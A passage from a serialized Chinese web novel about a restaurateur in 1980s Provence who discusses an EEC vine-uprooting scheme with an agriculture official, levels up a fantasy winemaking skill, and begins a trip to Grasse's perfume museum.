“但我怎么可能忍心让你一个人扛下呢,你要做的事情也很多。” 不给罗南任何反驳的机会,佐伊摇晃着罗南的胳膊,用‘撒娇’的语气说: “还有我比你更了解本地村民,我可是土生土长的卢尔马兰人,我也比你更了解艺术家,你才当艺术家多久啊这件事我比你有经验多了好不好,罗南,我们以后都一起做事情好不好?” 佐伊在大部分时间是以成熟女艺术家形象示人,偶尔撒娇一下,罗南根本招架不住。 他一边打电话,一边把嘴抵在她的额头上: “好,我们一起。” 路过收银台的维埃里做出了一个反胃的动作: “你们更恶心了。” 佐伊立马变了脸,用嘲讽的语气对弟弟说: “你不止恶心,你还嘴硬,你的嘴比普罗旺斯的寒石还硬。” 维埃里没有回头,大步流星的离开了这里,回到自己的工作岗位上。 几秒钟之后,跟在维埃里身后的路易对佐伊耸肩: “亲爱的,我们不应该用之前的方式对待维埃里了,他现在——” 佐伊一头扎进罗南的怀里,抗议道: “够了,你们两个够了” 笑容又爬上了罗南的脸庞。 和家人相处的感觉太棒了,内心的郁结可以很快打开,同时还能收获很多快乐。 等这个松露季结束,他一定要多多的和家人们在一起。 餐厅在普罗旺斯的名气肉眼可见的提升了。 飞行员、各种商人、松露经纪人等都把聚餐地点定在了这里。 在罗南出发去格拉斯的前一天。 十几位沃克吕兹省的官员到访了这里,他们是去隔壁的村子考察,特意来这里吃饭的。 罗南正开心于餐厅又吸引来了一批重要人物,突然见到队伍最后有一个穿着套裙的女官员对自己眨了眨眼睛。 朱莉特没有任何表情的与罗南擦身而过,像是不认识他一样。 不过一道带着笑意的微弱声音清晰的传入了罗南的耳中: “等我接待完这批重要人物,找你喝两杯。” 罗南目送朱莉特一行人落坐。 巧了,他也正想找朱莉特聊聊呢。 请假条 五一过的太累了。 见亲戚,见同学...... 今天休息一天,调整下状态,顺便想想改书名的事。(想改个书名看看能不能提升下流量,大家有好的提议也可以在这里告诉我) 明天恢复日更6000+,这几天欠下的字数也会补回来。 这是开书以来第二次请假,望谅解!!! 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第357章 重要的拔除计划 朱莉特不是第一次带政府官员来罗南的餐厅吃饭。 几个月前,她曾带着几位沃克吕兹旅游局的同事来过罗南的餐厅。 就是因为那次到访,推动着布兰科决定听从罗南的提议,把粉红酒定为卢尔马兰的未来特色之路。 上一次面对‘财大气粗’的旅游局,朱莉特并没有表现出什么异常,就像是和正常朋友吃饭一样。 但是这一次到来,朱莉特的状态明显变了。 她全程像是一位乖乖听讲的学生,仔细听着同桌人发言,而且举止谦卑,还不止一次起身给同桌人添酒拿东西,颇有一番‘讨好’的意味。 罗南脑中不禁闪出一个想法——朱莉特口中的重要人物,怕不是比旅游局的人重要得多的多。 “这次来的是什么人啊?”罗南小声嘀咕了一句。 因为好奇朱莉特那桌人的来头,罗南嘱咐服务员路过的时候听听他们在聊什么。 很快,服务员带着答案返回。 “桌上有几个人说的不是法语,不过有个翻译,似乎在聊波尔多。” “不是法国人?还聊的是波尔多?”罗南诧异的反问。 这不对劲啊。 朱莉特怎么抢了旅游局的工作,招待起外宾了? 那一桌客人吃了很长时间,似乎把罗南的餐厅当会议室了。 主菜吃完,聊到下午3点还不走。 来的一定是贵客,还坐了这么久,罗南让服务员过去送了一瓶还不错的红酒,又免费给每个人拿了一份甜品,以示友好。 要不是朱莉特不想和罗南‘相认’,这桌罗南都想免单了。 一千法郎就能收获一帮高端人脉的好感绝对是罗南赚了! 那桌客人远远的对老板罗南送来了感谢。 罗南敏锐的观察到,朱莉特看自己的眼神中满是赞赏,这更加坚定了他内心的想法——这一定是一批很重要的人物.说不定农业部都要去讨好的那种。 下午4点,这桌客人终于用餐完毕,在餐厅背景最好看的编织物装饰墙前合影留念,之后一起离开了这里。 十分钟后,朱莉特返回了餐厅,一见到罗南就笑着说: “他们夸你的餐厅很有特色,东西也好吃,而且你的示好行为也给他们留下了很好的印象,我‘千里迢迢’把人带来真是个明智的决定.你有可能帮助我们推进了合作。” 罗南撑着收银台笑着指外面: “那些是什么人?” 朱莉特凑到了罗南的耳边,压低声音说: “EEC(欧洲经济共同体)的代表。” 不等目瞪口呆的罗南说话,朱莉特走向一张空着的桌子: “快让我尝尝‘希望’,对了,‘相思鸟’没出同款吗?” 罗南知道朱莉特去戈尔德看了艺术展,略伦特先生在戈尔德的路上遇到过她。 而且戈尔德那边这么热闹,不可能逃的过这位官员的耳朵。 罗南没有就着‘希望’和‘相思鸟’发散话题,让服务员去取最好的粉红酒后,坐到朱莉特对面,好奇的问: “EEC来吕贝隆干什么?” 欧洲经济共同体是欧盟的前身,且1987年这个时间节点正在向欧盟过渡,当前阶段EEC的主要职责是主导共同市场、农业政策和关税同盟等。 EEC去普罗旺斯那些大城市不稀奇,艾克斯是欧洲艺术的重要版图,马赛是法国最大的港口,但吕贝隆这种山区有什么好看的? 朱莉特找了一个舒服的姿势坐下来,回到了罗南熟悉的状态: “EEC想在法国、意大利和西班牙推动一项新的措施,普罗旺斯是法国实施这项举措的重要区域,而吕贝隆又是普罗旺斯的重中之重,他们想来这里实地了解下情况。” 普罗旺斯的面积很大,横跨好几个省,各个地区的‘王牌’产业也并不相同,但是提到吕贝隆是重中之重,再加上朱莉特农业部官员的身份罗南马上就想到了仅有的两个可能: “和橄榄或者葡萄有关?” 朱莉特似笑非笑的看罗南: “怪不得阿斯特丽德和伊内斯都喜欢你,你这个家伙脑子真的很活络。” 在私下,朱莉特并没有表现出对阿斯特丽德和伊内斯的足够尊敬,聚会时她可是一口一个‘女士’和‘会长’称呼她们呢。 不过这也代表她没有把罗南当外人,这让罗南也放下了心里负担,可以一问到底了: “到底是什么?他们想要推行什么举措?” 朱莉特没有直接回答这个问题,而是主动给罗南做起了科普: “你知道旧世界葡萄产区和新世界葡萄产区吗?” 罗南先是点了一下头,随后又马上摇头: “在新闻和报纸上经常听到,但概念性的意义不是很清楚。” 朱莉特把右腿交叠到左腿上,认真给罗南解释: “这两个词汇有两层意义的区分,从产区上来看,旧世界葡萄酒主要指产自欧洲的葡萄酒,但也包括地中海盆地其他具有悠久酿酒历史的地区,如北非和近东,这里是葡萄酒的发源地;新世界葡萄酒主要指来自日本、美国、加拿大、墨西哥、澳大利亚、新西兰、巴西、智利和南非出产的葡萄酒,他们的产酒历史相对较短。 从另一个层面区分,旧世界地区,葡萄酒传统和风土的作用占主导地位,这种风格延续了几个世纪,而在新世界地区,科学和酿酒师的作用往往被强调,葡萄酒是为了迎合当代葡萄酒爱好者的口味而酿造的。” 罗南耐心的听着,等朱莉特讲述接下的关键信息。 “旧世界葡萄酒受到了新世界葡萄酒的很大冲击,国际市场的盘子是固定的,但现在有不同口味的特色葡萄酒和我们抢份额,这就造成旧世界产区出现了‘葡萄酒湖’现象。”朱莉特喝了一口粉红酒,继续说道,“欧共体面临严重的葡萄酒生产过剩危机,大量的低质葡萄酒滞销,EEC希望在法国、意大利和西班牙等几个产酒大国减少产量并提升品质,对那些高产低质的葡萄品种进行‘拔除’计划。” “让农夫把葡萄藤拔了?”罗南不由得惊呼出口。 朱莉特耸肩: “很疯狂吧?波尔多试点推动了几个地区,引发了葡萄酒农的暴动,EEC现在又来了普罗旺斯,希望我们配合他们的行动。” 在短暂的思考之后,罗南追问: “你答应了吗?” 朱莉特的表情非常难看: “波尔多都试推行了,我们也必须答应,但不会在AOE等产区推行,先从散户入手,今天过来就是参观古尔村附近的佳丽酿和阿拉蒙葡萄园,这两个品种是首要‘拔除’目标。” 罗南迫切的问: “‘拔除计划’会给农夫补偿吗?” 不能白拔吧? 服务员把‘希望’放到了朱莉特的面前,这位官员惊喜的看了几秒钟后才回答: “有补偿,但不会补太多,EEC不出钱,农业部也拿不出来太多的预算推行这件事。” “多少?”罗南继续问。 朱莉特去过罗南家,知道他有几亩地,而且种的是葡萄,见他这么关心,非常‘实在’的给罗南解释这个举措的背后的隐藏意义: “视品质和树龄分级,8000-12000法郎/公顷,不过无论补多少都很难让葡萄农满意,EEC希望减少葡萄园的面积,以解决核心问题,所以拔除计划的补偿条款里会规定,葡萄农在很长一段时间里不可以再种葡萄,改种其他作物,例如橄榄、薰衣草或者其他,但在普罗旺斯这种葡萄酒产区,种葡萄是最赚钱的.你以为波尔多的葡萄农为什么会发起暴动?” 见朱莉特回答的这么坦诚,罗南也说出了他的想法: “但普罗旺斯和波尔多的情况不一样,波尔多没有经历寒潮,你应该知道.1月的那场寒潮对吕贝隆的葡萄园影响非常大。” 这次寒潮至少会让40%的葡萄冻死和冻伤。 那些藤蔓早晚会被清除,如果沃克吕兹省能补偿一些,卢尔马兰政府再补一些.也不是不可以接受啊。 朱莉特摇头: “拔藤后土地转种橄榄或其他作物的收益周期很长,尤其我们不会动AOE产区的葡萄,所以实施政策的地区一定是小农户,你觉得在这种偏僻的地方,他们如何找到其他生计?而且是稳定的生计?几年内农夫的收入一定会断崖式下跌.尤其很多人世世代代种地,突然让他们远离土地,即使讲再多道理都没有用。” 在别的偏远地区不行.但在卢尔马兰不是没有这个可能。 如果罗南要接手一个葡萄酒庄就必须要找人手帮忙。 他曾在聚会中听杰罗姆说过,斯特斯加酒庄有15个工人,但他是机械酿酒,而罗南要做的是手工酿酒,人力会继续增加。 肯定不会所有农夫都放弃种地,酒庄消化一部分人力,涌入的艺术商铺再消耗掉一些人力.这样还可以解决罗南头疼的另一个问题——如何让本地村民和艺术家群体和谐共处。 政府讲道理农夫们不会听,但罗南讲的话农夫们会听的,只要让他们知道收入不会降,反而会上升,大家不会钻牛角尖。 卢尔马兰的农夫,谁不想跟着罗南一起赚钱啊? 同理,罗南和佐伊在艺术家群体里也是领导的地位,他们也会听罗南建议。 不过‘拔除计划’还有一个问题是无法忽视的。 卢尔马兰附近的葡萄园里能酿粉红酒的种类本就不多,再拔掉一些就更少了.而且还在短时间内不能再种其他葡萄,难道以后要去其他村子收葡萄了? “如果接受了‘拔除计划’的补贴,是什么葡萄都不可以种了吗?”罗南不死心的问。 刚刚一直聊天,朱莉特都没来及吃她心心念念的‘希望’,她插了一小块,头都不抬的说: “本土传统种植的那些品种就别想了,可以种植外来品种,比如‘新世界葡萄产区’酿制使用的那些,但种那些有什么用?普罗旺斯传统酒庄不会使用它们的。” 不等她把甜品送入嘴里,听到对面的罗南激动的问: “你考虑在卢尔马兰推行‘拔除计划’吗?” 第358章 不破不立 朱莉特吓得把差0.01毫米就入嘴的甜品放下,郑重的对罗南说: “你疯了是不是?我特意绕开卢尔马兰,不想让这里受到波及,卢尔马兰最近才刚刚热闹起来,来了这么多艺术家和新住户,万一发生农夫暴动,之前的努力全都白费。” 卢尔马兰出现大量艺术家群体的消息已经传到了沃克吕兹省很多官员的耳朵里。 现在的卢尔马兰是很多部门的关注焦点。 朱莉特一是不想碰这个敏感地带,二是考虑到罗南在这里生活,特意避开在卢尔马兰推行‘拔除计划’。 说句不好听的,哪片地被农业部看上了,要推行‘拔除计划’,哪里就要倒霉了。 这是部门上上下下不明说,但心里非常清楚的道理。 根据沃克吕兹省农业部拿到的消息,在波尔多推行的区域里,能痛快同意拿补偿的都是60岁以上的老农夫,年轻农夫全部不接受这个举措。 这个计划让波尔多的农业部门‘处处碰壁’。 现在这个大麻烦来到了普罗旺斯,而且落到了她的头上——朱莉特是推行‘拔除计划’的负责人。 罗南一怔,听出了朱莉特在这件事情上的重要性,询问道: “你可以决定在哪里实施?” 朱莉特没有伊内斯那么大的底气,虽然是负责人,但她还有头上‘层层叠叠’的领导,于是语气淡淡的说: “能提供一些有效的建议。” 罗南回忆起了在粉红酒爱好协会聚会上的聊天内容,朱莉特偶尔会带出她对在农业部任劳任怨干了十几年,但始终没有升职的不满情绪。 有一次科伦坦安慰她,说她的话语权已经很重了,部门其他同事和她没法比,要懂得知足。 由此推测,朱莉特极有可能能决定这个举措在哪里推行。 罗南用试探性的语气问: “政府对这个举措的态度是什么?必须强硬的推行下去,还是‘做做样子’就可以?” 朱莉特终于把甜品吃进了嘴里,甜甜的东西入口,人的状态也放松了,透露出了一些不该说出的‘秘密’: “必须推行下去,如果找不到突破口就上强硬的手段,总之不能比波尔多那边的情况差,至少要有一些能拿的出手的成绩,你知道的,这几个产区之间是竞争关系。” 罗南喜出望外,继续问: “如果比波尔多执行的好很多,会有额外的‘奖励’吗?” 朱莉特用开玩笑的语气说: “如果有哪里能试点成功,让我们在这件事情上压波尔多一头,当然可以有额外的奖励,但那不是资金,而是农业部的扶持和照顾,我们虽然没有旅游局那么耀眼,但也是沃克吕兹省最重要的部门之一。” 还有一句话朱莉特没有说出口。 不止这个地区能得到奖励,如果有哪个地区能试点成功,她也将得到巨大的奖励。 试想一下,一个大麻烦落到自己手里,最终却变成了功绩.领导们会如何看她。 朱莉特的工作资历足够多了,距离升职只差一点点运气。 罗南斟酌了几秒后,措辞道: “我试着在卢尔马兰推行一下,如果大家的接受程度高,我就联系你,你把试点定在我这里。” 朱莉特用奇怪的眼神看罗南: “你认真的?” 罗南笑着耸肩: “只是试一试。” 朱莉特在这件事上有一定话语权,失败就绕开卢尔马兰,去其他地方试点呗。 朱莉特停止了咀嚼,认真打量起对面的罗南。 阿斯特丽德亲自给罗南的餐厅宣传,伊内斯对罗南也是关爱有加。 两位大人物这么重视.也许他真的有一些不俗的手段和本领? 朱莉特终于认真了起来,脱离了懒散的休闲状态: “好,那你就试一试,我给你半年时间,如果半年内你能顺利的在卢尔马兰推行这项举措,我会尝试着把赔偿条款申请的更好一些,作为给这里积极配合的额外补偿。” 罗南眼前一亮: “更好的补偿条款?” 朱莉特用力插了一下面前的甜品,提醒罗南: “你还是先考虑考虑农夫的态度问题吧,波尔多的葡萄农暴动把好几条公路都封了。” 罗南笑着平摊双手,开起了普罗旺斯式玩笑: “D943号公路的卢尔马兰路段会时刻畅通无阻,我发誓。” 得知了‘拔除计划’是意外之喜。 罗南本想和朱莉特聊的是普罗旺斯的天气系统和灾害预警问题。 这真的太糟糕了!! 朱莉特没有推卸他们的责任,告诉罗南农业部在这次寒潮上吸取了教训,立志于技术革新与品种升级。 罗南询问关于技术革新的问题,他在略伦特的嘴里听到过类似的话语,不过那个家伙不想告诉罗南具体的细节。 朱莉特也没有展开太多,只是解释现在在做一些方向尝试,从其他国家进口了更加先进的农业设备,全面普及还需要些时间。 “略伦特可以接触新设备、新尝试,我不行?”罗南用开玩笑的语气问。 朱莉特挥舞了一下面前的叉子: “你知道论略特背后的畜牧业家族一年可以给农业部带来多少收益吗?等你什么时候也能为农业部做出这么巨大的贡献,有了好东西我第一个给你。” 罗南耸肩。 技术革新我还不够格接触,那品种升级呢? “在普罗旺斯种外来品种葡萄,可以向政府申请补贴吗?”他给朱莉特倒了一杯酒。 如果‘拔除计划’顺利在卢尔马兰实施,罗南打算尝试着栽种一些新型葡萄种类。 面积可能不会太大,但罗南觉得那是必要的投入和尝试。 朱莉特说了,外来品种不在补偿金的限制条款里,可以培育。 升级到4级【种植】时,系统给了一个土壤甄别的能力。 结合着【采集】给予的各种植物知识,罗南知道卢尔马兰附近的土壤可以栽种的葡萄种类非常多,绝不是大家熟悉的那十几种。 不过具体种什么新品种,要等他参考【酿酒】相关的技艺后才能决定。 普罗旺斯的粉红酒是‘旧世界产区’里的‘旧世界工艺’,想要破局必须得做些大胆的尝试。 中国有句古话——不破不立。 保持传统工艺几百年了都没有打破桎梏,万一‘创新’一下有所变化了呢? 而且退一万步讲,假使粉红酒在普罗旺斯的推广计划不及预期,罗南也可以打开‘新世界产区’拓展销路。 罗南不是迂腐的人,什么‘旧世界’、‘新世界’,只要能卖钱就是‘好世界’。 到时候两手抓,两手都要硬,说不定还能发明出来一个‘新世界’! 事实上,这些问题都是在接手酒庄前必须要考虑的东西,而朱莉特推动着罗南把这件事的思考时间提前了。 罗南默默的在心中感叹: 想要开一个酒庄太麻烦了,他要去了解、要去准备、要去研究的事情太多太多。 “不可以,不符合补贴条件。”朱莉特几乎是脱口而出。 正当罗南有些沮丧无法‘薅’政府羊毛时,专业的朱莉特给了他其他的建议: “直接申请补贴没可能,但你可以去申请‘试验田’项目,那可以让你免费获得苗木和必要的技术指导,如果栽育成功,且可以证明它有经济价值,例如带动了酒产品的销量,或者证明了生态价值,是可以长期栽种的抗寒品种,那就可以申请专项补贴资金了。” 罗南先是一阵兴奋,随后有些头疼的问: “试验田项目和这个专项补贴资金好申请吗?” 朱莉特把最后一口甜品吃掉,擦了擦嘴: “别人申请肯定比较麻烦,一两年的都有可能,但是你嘛” 罗南感激的说: “你可以帮我是不是?” 粉红酒协会里的这帮人太厉害了! 朱莉特一边摇头,一边嗔怪的说: “但是你想的太多了!你问这些东西干什么啊?” 罗南笑着敷衍: “想了解一下.” 朱莉特把餐巾纸放下,看了一眼手上的时间,随意的说: “我什么都可以给你申请到,除了这两个我还能给你申请到更多的东西但你做的出来吗?行了,别想这些有的没的了,还是先考虑眼前的东西吧。” EEC那帮人走的时候已经下午4点,朱莉特又待了一会,眼看天就要黑她得离开了。 分别时,罗南告诉朱莉特,他最近不会推进‘拔除计划’,要等一等,大概3月末给她消息。 朱莉特没有催促罗南,因为她压根就没想过罗南成功,只是千叮咛万嘱咐,要量力而行、不要逞强,尤其不要引发农夫的暴动,真到了那个地步,她想‘救’罗南都救不回来。 “放心吧,我有分寸。”罗南把朱莉特送到停车场里,她的车旁,朱莉特今天给他带来了许许多多收获,送远点以示感谢。 “路上小心。”罗南的嘴格外甜,“会长说最近可能没有机会发起聚会,总之你有时间常来吧,以后你来吃饭不用花钱。” 未来那些补助就指望朱莉特了! “我可不敢不给钱,阿斯特丽德都给你宣传了,我哪里敢吃‘霸王餐’。”朱莉特对罗南挥了挥手,让他回去,“很快就会见面了,下个月我会带人来卢尔马兰普及‘气象保险’。” 目送朱莉特的汽车消失在转角处后,罗南打开了他的系统。 是时候研究一下【酿酒】技能了。 第359章 【酿酒】 1月底在普罗旺斯度过的第一个真正意义上的春节,让罗南获取幸福度的速度加快了。 父母健康、朋友扎堆、爱人常伴左右.精神世界富足的罗南自信的认为——他是这世界上最幸福的人。 戈尔德之行又填补了他的物质世界,口袋的深度直接影响一个人的心情.罗南变得更加幸福。 花5000数值将【烹饪】升到5级时,系统里的【幸福度】几乎见底。 但现在只过了一个月的时间,【幸福度】就来到了2000多,积累速度涨了30%左右。 罗南看向面前的淡蓝色屏幕。 【3级建造:0\2000】 【4级种植:0\5000】 【4级采集:0\5000】 【5级烹饪:0\10000】 【3级编织:0\2000】 【3级打猎:0\2000】 【3级制陶:0\2000】 【1级捕鱼:0\100】 【1级酿酒:0\100】 【1级玻璃烧制:0\100】 【可使用经验:2401】 罗南把视线放到了【酿酒】技能上。 就算在马上到来的3月立即接手杰罗姆的粉红酒庄,未来半年也没有实际意义上的酿酒操作,因为普罗旺斯的葡萄9月份才会陆续成熟。 所以罗南一直没有着急升级这个技能。 不过今天跟朱莉特见面后,罗南想要把这个动作提前一些,试着寻找一些在普罗旺斯不常见、却有可能对酿制粉红酒有帮助的外来葡萄品种。 葡萄的生长周期非常漫长,即使在今年春天栽种了新品种,最快也要等到3年后才能小批量结果,产量稳定要4年以后,品质成熟要等10年。 许多名贵酒庄都把老藤作为宣传的噱头,可见一斑了。 普罗旺斯本土市场上所需的葡萄品种好说,但罗南的目标是更远大的.无论是为了在本土找到新的出路,还是为了适应‘新世界市场’,准备越早做越好。 如果今年能种上新葡萄就能早一年收获,赶不上这个春天就要等明年了。 即使找不到适合的葡萄品种也没关系。 对酿酒技艺有更深层的认知,可以让罗南在接下来的准备阶段留意到更多关键细节。 说不定这一丁点关键信息就可以提供无限的帮助。 餐厅的业务已经趋于平稳,并稳中向好,在罗南目前的发展规划中,粉红酒庄会是未来很长一段时间的重心。 【酿酒】会和【烹饪】、【种植】等技能一样重要,将来都是奔着满级为目标的。 “既然早晚都要升,今天就升了吧。” 想明白这些,罗南点向【1级酿酒:0\100】后面的升级符号。 和升级其他技能一样,2级【酿酒】带来的也是海量的基础知识。 酿酒是一个很庞大的分类,时间有限,罗南主要看的是葡萄酒部分。 葡萄酿酒工艺可分为两大类,静止葡萄酒和起泡葡萄酒。 虽然大多数葡萄酒是用葡萄酿造的,但其中也可加入其他植物,例如蜂蜜、苹果和梨等。 不同葡萄酒的酿酒步骤略有差异,但核心流程大体相同,从收获和采摘开始,经历分选、去梗、破碎、发酵、浸皮、压榨、陈酿和澄清过滤等步骤。 系统还介绍了不同地区的葡萄酒的特色,为了选取重点,罗南主要关注的是粉红酒的部分。 ‘新世界产区’的信息量太庞大了,美国、南美、南非、西班牙、意大利、德国、奥地利、新西兰和澳大利亚全部生产红粉红酒,但这些地区更加倾向迎合当代葡萄酒爱好者的口味而酿造.所以没有固定的特色。 而‘旧世界产区’生产的粉红酒百年来一直传承着其独特的韵味。 普罗旺斯的粉红酒散发着精致的花香、浓郁的柑橘香和淡淡的红色浆果香气,口感清爽,酸度适中,带有清爽的矿物质味道,有的还会有淡淡的草本气息。 西班牙的粉红酒颜色更加鲜艳,其特色是浓郁的果香,口感清爽酸度,矿物感十足,余味悠长。 意大利的粉红酒所使用的葡萄种类非常丰富,因为口味多样,从清淡的花香到浓郁的果香,应有尽有,口感清爽,酸度适中,单宁柔顺,余味明亮清爽。 罗南认真看了一会,发现2级【酿酒】带来的知识庞大但不够精细。 例如葡萄搭配部分,只是介绍可以使用单一葡萄酿制,也可以混酿,不同葡萄品种的组合会显著影响酒体的颜色、香气和结构。 认真看肯定能找到不少有用的东西,但并不是罗南现在需要的。 为了了解更多,罗南又花了500点【幸福度】,把【酿酒】升级到了3级,希望能找到些新的东西。 3级【酿酒】针对酿酒过程中的挑选和发酵做了展开。 针对于粉红酒,一共有三种常用的人工酿造方法,分别是直接压榨法、浸渍法和放血法。 这一部分现在用不上,罗南继续向下看,发现挑选部分,终于有关于他在意的葡萄种类详尽知识了。 普罗旺斯特色粉红酒习惯将歌海娜、神索和慕合怀特设定成主品种,混酿搭配包括古诺瓦兹、佳丽酿、西拉和赤霞珠。 同为法国的粉红酒产区,卢瓦尔河更倾向使用安茹、赤霞珠、索米尔和都兰酿造,其余部分则用格罗斯洛、皮诺多尼斯、黑皮诺和佳美来填充搭配。 系统里介绍了许多个法国本土粉红酒产区,不同地区使用的葡萄完全不一样。 离开了法国,到了意大利和西班牙,所使用的葡萄种类就更多了。 如果再扩展到‘新世界地区’,那种类就更多了。 罗南眼睛都快花了,摸着下巴小声嘟囔: “其实使用什么葡萄,完全看想要什么口味和结构,可以搭配的组合太多了。” 罗南今天的目的是尝试着找一些可以在普罗旺斯栽种,且能给粉红酒带来加分项的葡萄。 但很显然,3级【酿酒】给的挑选和酿制知识无法让罗南做抉择甚至让他更加迷惑。 罗南相信继续升级一定可以找到有用的知识,说不定可以直接找到答案。 但他暂时不打算那么做。 罗南打开系统,看向最下面的1801点【幸福度】,长长的叹了一口气。 还有更着急和重要的事情等待着他去做.【酿酒】暂时不能升了。 不过不继续升级【酿酒】,不代表罗南放弃找答案。 之前无数次的经历证明——在一条路上找不到结果的时候,可以换一条路试试。 凭【酿酒】找不到答案,加上【采集】和【种植】也许可行? 结合着【酿酒】给的产区粉红酒特色和葡萄种类搭配、【采集】给的作物信息、【种植】给的培育信息这么一分析,还真让罗南找到了有趣的东西。 以普罗旺斯粉红酒为例。 歌海娜起到的应该是提供果香的作用、神索增加花香和酸度、慕合怀特补充香料味 “果然有用!”罗南欣喜的在心中咕哝一句。 只要给他一些时间,绝对可以把所有葡萄分析一遍,找到它们每一个的作用。 不过这次挑选葡萄还要附加几个条件。 除了要适合卢尔马兰附近的土壤种植外,还要满足一个关键的因素。 朱莉特说,‘拔除计划’是因为欧共体面临严重的葡萄酒生产过剩危机,大量的低质葡萄酒滞销,其本质是希望在法国、意大利和西班牙等几个产酒大国减少葡萄酒产量并提升品质。 而想要提升葡萄酒的品质,需要能够提供‘结构感’的葡萄。 ‘结构感’是评价葡萄酒品质的关键指标,指酒体中各种成分,例如酸度、单宁、酒精、糖分的平衡与支撑力。 普罗旺斯酒评人评价粉红酒没有内涵和底蕴,其实说的就是没有‘结构感’。 本地产的酒庄不会选取有结构感的葡萄,那会增加成本因为傻子都知道,在普罗旺斯粉红酒是卖不上价格的。 “如果能提升粉红酒的结构感,不仅有可能解决本地评价问题,还能想办法提高利润,20法郎一瓶酒太便宜了,得再开发几款能打开高端市场的。”罗南一边走,一边想,“这同时也是响应EEC需要的‘减少产量并提升品质’的号召,说不能找朱莉特申请更多的补助?获得得到其他的好处?” 罗南越想越觉得有道理。 决定就围绕这个指标找葡萄了! 酿制粉红酒的葡萄种类太多了,又要多向对比,很浪费时间,一晚上大概研究了三分之一。 再给罗南两到三个晚上应该差不多能分析完所有,得到初步的结论。 不过现在重要的事暂时不是葡萄,而是格拉斯之行。 只会酿粉红酒不行,还要找到可靠的销售渠道和商业模式。 第二天一早,天还没亮罗南就开车去往‘香水之都’格拉斯。 这次出行是罗南到普罗旺斯后最远的一次出门。 格拉斯近邻沿海的戛纳,距离罗南居住的卢尔马兰有200多公里的距离,开车要3个多小时。 不过伊内斯给罗南安排了一个职业的‘向导’,可以用最短的时间让他了解伟大的福克斯家族。 “昨天从朱莉特身上学习到了很多有用的东西,希望今天也能有满满的收获。”罗南敲了一下方向盘,不由得期待了起来。 第360章 学习之旅正式开始 格拉斯位于法国东南部,是一个拥有4万人的小城镇。 这个小镇背山面海,气候湿润,阳光充足,海拔200-500米之间,周围的山丘是一片又一片的花海,年产量各类鲜花700万公斤。 罗南是冬天来的,沿途并没有看到好看的花海。 但格拉斯每年5月的玫瑰花节和8月的茉莉花节,可以吸引来一百多万游客的到来,可见这里的景色有多吸引人。 可以说,这座小镇的旅游业规模是吕贝隆山区的几十倍那么庞大,不过格拉斯并不依赖旅游业发展,因为法国境内80%的香水都产自格拉斯。 这些法国的名贵香水从格拉斯起航,销往世界各地。 中世纪,格拉斯以制革和手套制作工艺而闻名,制革工匠和手套大师享誉欧洲。 然而当时的皮革鞣制工艺气味难闻,富裕的资产阶级和贵族们抱怨他们的皮手套和配饰散发着难闻的气味.直到有一天,一位工匠萌生了将自己的作品浸入香氛浴中的想法。 就这样,从16世纪开始,格拉斯工匠出售的手套都带有香味,而它们散发出的香气也成为了新的卖点。 香水业能在格拉斯地区蓬勃发展,也得赖于上天的眷顾——这片土地适宜种植绝大部分芳香植物,似乎就是为香水而生的。 17世纪,来自各大洲的植物被引入格拉斯,茉莉花来自印度,晚香玉原产于意大利。 18世纪,皮革业被放弃,香水业成为格拉斯的主要产业。 虽然罗南没有赶上好看的花海,但他欣赏到了格拉斯的‘异域风情’。 由于地理原因,格拉斯的建筑有着浓郁的意大利热那亚风情,植物也是热带品种,和吕贝隆的山景完全不同。 格拉斯一共有3座不同主题和大小的香水博物院,有福克斯家族经营的,也有其他香水品牌建立的。 罗南和伊内斯约在福克斯家族设立的最早,也是最大的香水博物馆见面。 这所博物馆建在老城区的弗拉戈纳路上。 格拉斯老城区的氛围有着普罗旺斯特有的那种轻松宜人和古意盎然格调行驶在路上罗南不禁开心的哼起了歌。 他完全没有出来工作的感觉,似乎是来旅游的。 而当罗南抵达香水博物馆的门口,见到会长和她安排的‘导游’后,这种感觉更加强烈。 伊内斯和福克斯家族谈合作的地方并不在这里。 安顿好罗南,她要继续出发,因此这位米切兰杂志社的主编根本就没下车,见到罗南来了只是把后排车窗摇下来,对那位看起来和维埃里差不多大的白净男孩说: “这就是罗南,你今天要接待的重要客户,参观完博物馆,中午带他尝尝当地的特色,下午他想去哪里就带他去哪里,听明白了吗?” 那男孩紧张的双腿并拢,立正着说: “明白明白,我会接待好罗南先生,给他讲解格拉斯和福克斯家族的所有!” 伊内斯看向罗南时眼神温柔多了: “好好玩,祝你今天能度过开心的一天。” 罗南没有说过他来格拉斯的真正目的,伊内斯理所应当理解他是来旅游的,于是给他安排了一个米切兰杂志社专门报道格拉斯的旅游编辑做‘导游’。 目送伊内斯的豪华轿车离开,那男孩礼貌的自我介绍: “你好罗南先生!我叫切尔诺,是米切兰杂志社的编辑,今天由我来带你了解格拉斯!” “辛苦你了。”罗南先是表达了感谢,随后笑着说,“叫我罗南就行,不用那么客气。” 名叫切尔诺的编辑连连摇头: “不行不行,主编说了,你是最尊贵的客户。” 伊内斯上次安排人手当导游,是送他儿子去戛纳玩,顺便看戛纳电影节。 突然接到这个‘导游’任务,切尔诺连同他的领导都认为——罗南一定是和主编儿子一样重要的人物! 怎么能怠慢了呢? 切尔诺对待罗南的态度非常谦卑,说话的时候会刻意低着头。 同样的,他也非常尽职尽责,还没进入博物院的内部,就开始给罗南介绍这里的信息了: “我们面前的这所博物馆于1975年落成,是格拉斯、也是法国的第一所香水博物馆,在当时这无疑是一项大胆的举措,为了让参观博物馆的体验更加完美,博物馆的拥有者、福克斯家族购买了许多和香水有关的古董藏品,可以让参观的顾客了解香水从古至今的发展历程。” “所以这真的是一所博物馆?”罗南看着面前的黄色建筑,惊讶的问。 他以为这里的噱头大于实质的内容。 切尔诺笑着说: “货真价实的博物馆,这里有古埃及的腮红和中世纪的香囊,都是福克斯家族花了许多钱从世界各地买来或者拍来的。” 为了彰显自己的专业能力,切尔诺用类似‘导游’的语气,一边带罗南入馆,一边继续介绍博物馆的背景: “博物馆分为五个主要部分,按历史和时间顺序排列,跨越四千年:古代、中世纪、现代和当代,每个时期都与香水有着独特的联系。此外,博物馆还探讨了当代主题:优雅、古典、魔幻、活力、轻盈、卫生。 馆内展出了许多价值连城的珍品,旨在展现香气从古至今的魅力,盛放和香气有关的雪花石膏、陶瓷、釉陶器以及精湛的金属制品.我发誓参观完这座博物院,一定会给您留下深刻印象。” 